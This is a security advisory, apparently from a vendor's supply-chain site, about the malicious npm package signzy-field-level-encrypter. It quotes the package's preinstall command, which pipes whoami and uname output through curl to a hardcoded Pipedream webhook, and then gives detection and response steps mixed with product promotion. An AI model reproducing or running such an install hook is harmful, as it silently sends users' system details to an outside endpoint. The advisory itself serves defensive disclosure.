signzy-field-level-encrypternpm
signzy-field-level-encrypter is a confirmed malicious npm package (MAL-2026-10972) that executes malicious code on install (malicious versions 12.9.12, 12.9.13). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in signzy-field-level-encrypter (npm)
What this malware does
package.json declares a preinstall lifecycle script that runs echo "$(whoami): $(uname -a)" | curl -X POST against a hardcoded Pipedream webhook at https://eob8pyiw2d4hxvk.m.pipedream.net. On npm install, the installer's OS username and kernel/architecture/hostname fingerprint are captured and transmitted to an author-controlled endpoint without consent or opt-out. The destination is a generic Pipedream request-bin, not infrastructure related to any legitimate field-level-encryption purpose the package name implies.
The OpenSSF Package Analysis project identified 'signzy-field-level-encrypter' @ 12.9.13 (npm) as malicious.
It is considered malicious because:
-
The package communicates with a domain associated with malicious activity.
-
The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for signzy-field-level-encrypter (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging signzy-field-level-encrypter across your stack and pipelines.
If you installed it — respond
Remove signzy-field-level-encrypter from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If signzy-field-level-encrypter was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks signzy-field-level-encrypter before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks signzy-field-level-encrypter-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.